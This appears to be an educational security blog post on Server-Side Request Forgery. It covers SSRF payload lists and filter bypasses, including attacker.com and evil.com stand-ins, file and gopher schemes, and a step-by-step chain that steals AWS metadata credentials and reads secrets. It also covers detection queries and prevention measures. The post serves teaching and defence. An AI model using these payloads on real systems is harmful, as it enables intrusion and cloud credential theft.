A developer builds a feature: paste a URL, and the server fetches a preview of that webpage. Simple, useful — and potentially catastrophic. That same functionality can be turned against the server itself, forcing it to fetch internal services, cloud credentials, or files that were never meant to be accessible.
This is SSRF — Server-Side Request Forgery. And it’s one of the most impactful web vulnerabilities of the past decade.
TL;DR
- SSRF tricks a server into making HTTP requests on the attacker’s behalf
- Target: internal services, cloud metadata APIs, and local files that aren’t publicly accessible
- In cloud environments (AWS, Azure, GCP), SSRF often leads to full account takeover
- Bypassing filters is often trivial — IP encoding, DNS rebinding, redirects
- Detection: monitor for outbound requests to 169.254.169.254, localhost, and internal RFC 1918 ranges
Table of Contents
- What Is SSRF?
- How It Works
- Types of SSRF
- What Attackers Target
- SSRF in Cloud Environments
- Attack Chain: SSRF to AWS Account Takeover
- Common Payloads
- Bypassing SSRF Filters
- Attacker Mindset
- Real-World Impact
- Detection
- Prevention
- Related Posts
- Sources
What Is SSRF?
Imagine you ask a delivery company: “Can you pick up this package from this address and bring it to me?” That’s a normal request. Now imagine you give them the address of the company’s own internal warehouse — a place they’d never take outside orders from. If they just follow the instruction without checking, you’ve just bypassed their access controls.
SSRF works the same way. You give a web application a URL, and instead of your browser fetching it, the server does. The request comes from the server — which may have access to systems your browser never could reach directly.
The vulnerability appears whenever an application:
- Fetches content from a user-supplied URL
- Makes webhook or callback requests to URLs you control
- Imports data from remote sources (documents, images, feeds)
- Makes DNS lookups or backend API calls based on user input
How It Works
Here’s the basic flow:
Normal flow: Browser → [Public URL] → Internet → Response
SSRF flow: Browser → [Malicious URL] → Server → Internal Target → Response → Back to attackerThe attacker never talks to the internal service directly. The server does it — and hands back the result.
Simple example:
A web app has a URL preview feature:
POST /preview{"url": "https://example.com/article"}The server fetches the page and shows a preview. Now the attacker sends:
POST /preview{"url": "http://localhost/admin"}The server fetches its own admin panel and returns the HTML. The attacker now reads a page they could never access from outside.
Types of SSRF
| Type | How It Works | What You Get |
|---|---|---|
| Basic SSRF | Server returns the fetched content directly | Full response body visible |
| Blind SSRF | Server makes the request but doesn’t return content | Only confirms the request was made |
| Semi-blind SSRF | Server leaks partial data (errors, timing, DNS lookups) | Indirect information |
Blind SSRF is more common than you’d think. Even if you can’t see the response, you can:
- Detect open ports by timing differences (open ports respond fast, closed ones don’t)
- Confirm requests via your own server (use Burp Collaborator or
interactsh) - Trigger out-of-band DNS lookups to confirm execution
What Attackers Target
Once SSRF is confirmed, the attacker maps out what the server can reach:
Internal Services
Company networks typically have services running that are never exposed publicly:
http://localhost/adminhttp://192.168.1.1/ # Router admin panelhttp://10.0.0.5:8080/api/v1 # Internal APIhttp://127.0.0.1:6379/ # Redis (often unauthenticated)http://127.0.0.1:9200/ # Elasticsearchhttp://127.0.0.1:2375/ # Docker daemon API (no auth by default)Redis and Elasticsearch without authentication are a goldmine — they often contain session tokens, API keys, user data, and application state.
Local Files
Using alternative URL schemes, the attacker may read files directly:
file:///etc/passwdfile:///etc/hostsfile:///proc/self/environ # Environment variables (often contains secrets)file:///app/.env # Application configCloud Metadata Services
This is where SSRF goes from “interesting” to “catastrophic” — and where most real-world damage happens.
SSRF in Cloud Environments
Every major cloud provider (AWS, Azure, GCP) runs a metadata service — an internal HTTP endpoint that virtual machines can query to get information about themselves: instance ID, region, IAM role credentials, bootstrap scripts.
The endpoint is always at a link-local address, reachable only from within the VM:
| Cloud | Metadata URL |
|---|---|
| AWS | http://169.254.169.254/latest/meta-data/ |
| Azure | http://169.254.169.254/metadata/instance?api-version=2021-02-01 |
| GCP | http://metadata.google.internal/computeMetadata/v1/ |
These services were designed to be accessible only by the instance itself. But if a web application running on that instance is vulnerable to SSRF, an attacker can use the application as a proxy to query the metadata service.
On AWS, the metadata service can return temporary IAM credentials:
http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>Response:
{ "AccessKeyId": "ASIA...", "SecretAccessKey": "...", "Token": "...", "Expiration": "2026-04-09T18:00:00Z"}Those are real, valid credentials — usable immediately with the AWS CLI from anywhere in the world.
Attack Chain: SSRF to AWS Account Takeover
Here’s how a real attack unfolds, step by step:
Step 1 — Find the SSRF
The attacker finds a URL input — image fetcher, webhook, link preview, PDF generator. Sends a payload pointing to their own server to confirm the server is making requests:
{"url": "http://attacker.com/test"}Attacker’s server logs an incoming request from the target’s IP. SSRF confirmed.
Step 2 — Query the Metadata Service
{"url": "http://169.254.169.254/latest/meta-data/"}If the server returns a list of metadata categories, the instance is on AWS and the metadata service is reachable. Next, check for IAM roles:
{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}This returns the role name, e.g. ec2-production-role.
Step 3 — Steal the Credentials
{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2-production-role"}The server responds with temporary AWS credentials.
Step 4 — Use Credentials from Outside
export AWS_ACCESS_KEY_ID="ASIA..."export AWS_SECRET_ACCESS_KEY="..."export AWS_SESSION_TOKEN="..."
# Check who we areaws sts get-caller-identity
# List S3 bucketsaws s3 ls
# Read secretsaws secretsmanager list-secretsaws secretsmanager get-secret-value --secret-id prod/databaseStep 5 — Escalate
Depending on the IAM role’s permissions, the attacker can:
- Read all S3 buckets (customer data, backups, credentials)
- Access databases via Secrets Manager
- Create new IAM users with permanent credentials
- Deploy Lambda functions or EC2 instances for persistence
- Move laterally to other services (RDS, DynamoDB, SNS, SES)
A single SSRF vulnerability, exploited in under 10 minutes, can result in full AWS environment compromise.
Common Payloads
Basic Targets
# Localhost variationshttp://localhost/http://127.0.0.1/http://0.0.0.0/http://[::1]/ # IPv6 loopback
# AWS metadatahttp://169.254.169.254/latest/meta-data/http://169.254.169.254/latest/user-data/
# Internal rangeshttp://10.0.0.1/http://192.168.1.1/http://172.16.0.1/Alternative Schemes
file:///etc/passwddict://localhost:6379/info # Redis info dumpgopher://localhost:6379/... # Redis command injectionPort Scanning (Blind)
http://127.0.0.1:22/ # SSHhttp://127.0.0.1:3306/ # MySQLhttp://127.0.0.1:5432/ # PostgreSQLhttp://127.0.0.1:8080/ # Common internal HTTPTiming differences (fast response vs timeout vs connection refused) reveal which ports are open.
Bypassing SSRF Filters
Many applications try to block SSRF by checking the URL before making the request. These filters are often easy to bypass.
IP Encoding
All of these resolve to 127.0.0.1:
http://2130706433/ # Decimal notationhttp://0x7f000001/ # Hex notationhttp://0177.0.0.1/ # Octal notationhttp://127.1/ # Short formhttp://127.000.000.001/ # Leading zerosDNS-Based Bypass
Register a domain that resolves to an internal IP:
# nip.io resolves subdomains to IP addresseshttp://127.0.0.1.nip.io/
# Custom DNS: attacker's domain resolves to 127.0.0.1http://internal.attacker.com/Open Redirect
If the application follows redirects, use an open redirect on a trusted domain:
https://trusted-site.com/redirect?url=http://169.254.169.254/URL Confusion
http://evil.com@169.254.169.254/ # URL authority confusionhttp://169.254.169.254#.evil.com/ # Fragment confusionhttp://169.254.169.254%2F@evil.com/ # URL encodingCase Variation and Unicode
http://Localhost/http://LOCALHOST/http://localНost/ # Cyrillic 'Н' that normalizes to 'N'DNS Rebinding
The attacker’s domain first resolves to a legitimate IP (passing the filter), then immediately re-resolves to 127.0.0.1 when the actual HTTP request is made. Requires precise timing but defeats many server-side DNS-check-based protections.
Attacker Mindset
“I don’t need to reach the internal network directly. I just need the server to do it for me.”
When an attacker finds an SSRF, the first question is: where is this server running?
- Is there an
X-Powered-By,Server, or error message hinting at cloud infrastructure? - Does the response time to
169.254.169.254suggest AWS? - Can a DNS lookup confirm the hostname resolves to an EC2 or cloud IP?
The goal isn’t just to read /etc/passwd. That’s a proof-of-concept. The real prize is credentials — cloud API keys, database passwords, service tokens. Everything that opens the next door.
In modern cloud environments, the attacker doesn’t need to escalate privileges. The IAM role assigned to the instance often already has broad permissions — because developers gave the app “what it needed” without following least privilege. SSRF hands those permissions to the attacker.
Real-World Impact
SSRF vulnerabilities have caused some of the most significant data breaches in recent history.
Capital One (2019) — A misconfigured WAF on an AWS EC2 instance was vulnerable to SSRF. The attacker used it to query the metadata service, stole IAM credentials, and accessed over 100 million customer records from S3 buckets. The breach resulted in a $190 million settlement.
GitLab (2021) — A GitLab SSRF vulnerability allowed attackers to make requests to internal services. Combined with other weaknesses, it enabled access to internal infrastructure. GitLab paid out a $20,000 bug bounty.
Shopify, Twitch, Lyft, Reddit — All have disclosed SSRF vulnerabilities in their bug bounty programs. Cloud metadata service access is consistently rated Critical severity.
SSRF is listed in the OWASP Top 10 (2021) as its own category (A10:2021) — the first time it received dedicated status, reflecting how common and severe it has become.
Detection
What to Monitor
Blue team perspective — these are your signals:
Outbound requests to metadata services:
# AWS metadata — should NEVER come from app servershttp://169.254.169.254/http://fd00:ec2::254/ # IPv6 AWS metadata
# Azure metadatahttp://169.254.169.254/metadata/
# GCP metadatahttp://metadata.google.internal/http://169.254.169.254/computeMetadata/Requests to internal RFC 1918 ranges from application processes:
10.0.0.0/8172.16.0.0/12192.168.0.0/16127.0.0.0/8
Unusual URL schemes in application logs:
file://,dict://,gopher://,ftp://
Splunk / SIEM Query
index=web_logs| search url="*169.254.169.254*" OR url="*localhost*" OR url="*127.0.0.1*"| table _time, src_ip, url, user_agent, response_codeindex=networkdest_ip IN (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 127.0.0.0/8)src_category=web_server| stats count by src_ip, dest_ip, dest_portAWS CloudTrail Signal
If SSRF was used to steal metadata credentials, watch for:
GetCallerIdentitycalls from unusual IPs with instance profile credentialsListBuckets,GetObjectorListSecretsfrom IP addresses not in your AWS environment- Credentials used simultaneously from two different geographic locations
{ "eventSource": "sts.amazonaws.com", "eventName": "GetCallerIdentity", "sourceIPAddress": "X.X.X.X", "userAgent": "aws-cli/2.x"}Legitimate IAM role usage from EC2 will show the instance’s VPC IP — external IP addresses using instance profile credentials are a red flag.
Prevention
1. Allowlist, Not Blocklist
Don’t try to block bad URLs — there are too many bypasses. Instead, define exactly which external domains the application is allowed to contact, and reject everything else.
ALLOWED_DOMAINS = {"api.example.com", "cdn.example.com"}
from urllib.parse import urlparse
def is_allowed(url: str) -> bool: parsed = urlparse(url) return parsed.hostname in ALLOWED_DOMAINS2. Resolve DNS Before Checking
After resolving the hostname to an IP, verify the IP is not in a private range:
import socketimport ipaddress
def is_safe_ip(hostname: str) -> bool: ip = socket.gethostbyname(hostname) addr = ipaddress.ip_address(ip) return not (addr.is_private or addr.is_loopback or addr.is_link_local)Be aware of DNS rebinding — resolve once and use that IP for the actual connection. Don’t resolve twice.
3. Disable Unnecessary URL Schemes
Allow only https:// (and http:// if needed). Explicitly block file://, dict://, gopher://, ftp://.
4. AWS IMDSv2 (Instance Metadata Service v2)
AWS provides IMDSv2, which requires a session token obtained via a PUT request before metadata can be retrieved. Simple HTTP GET requests (the kind SSRF makes) no longer work.
# Enforce IMDSv2 on existing instancesaws ec2 modify-instance-metadata-options \ --instance-id i-1234567890abcdef0 \ --http-tokens required \ --http-endpoint enabledThis is the single most effective mitigation for cloud metadata SSRF. Enable it on every EC2 instance.
5. Network Segmentation
Application servers should not have network access to cloud metadata services or internal admin interfaces by default. Use security groups, VPC ACLs, and firewall rules to enforce this.
6. Least Privilege IAM
Even if SSRF occurs and metadata credentials are stolen, minimize the damage by following least privilege:
- EC2 IAM roles should have only the permissions that application actually needs
- Avoid
*actions or resource policies - Use IAM Access Analyzer to identify overly permissive policies
What You Can Do Today
If you’re a developer:
- Audit every place your application fetches remote URLs
- Implement an allowlist for external domains
- Enable IMDSv2 on all EC2 instances
- Add
is_safe_ip()validation before making outbound requests
If you’re a pentester:
- Test all URL input fields, webhook configs, import features, and image fetchers
- Confirm SSRF via out-of-band DNS (Burp Collaborator, interactsh)
- Always try
169.254.169.254in AWS environments — it’s the highest-impact target - Test bypass techniques when basic payloads are blocked
If you’re a security engineer / blue team:
- Alert on any application-tier HTTP requests to
169.254.169.254 - Monitor CloudTrail for instance profile credentials used from external IPs
- Ensure IMDSv2 is enforced across your AWS fleet (
aws ec2 describe-instances --query '...[?MetadataOptions.HttpTokens!=required]')
Related Posts
- Web Pentesting 2026: The Complete Guide — broad methodology covering SSRF in context with other web vulnerabilities
- API Security: JWT, OAuth and GraphQL Attacks — how API endpoints become SSRF vectors through webhook and callback abuse
- Identity-First Attacks in the Cloud — what happens after the attacker has your cloud credentials
- Non-Human Identity Security: The Biggest Blind Spot — IAM roles, service accounts and the risk of over-permissioned machine identities
- Kubernetes and Container Security — SSRF in container environments and metadata service abuse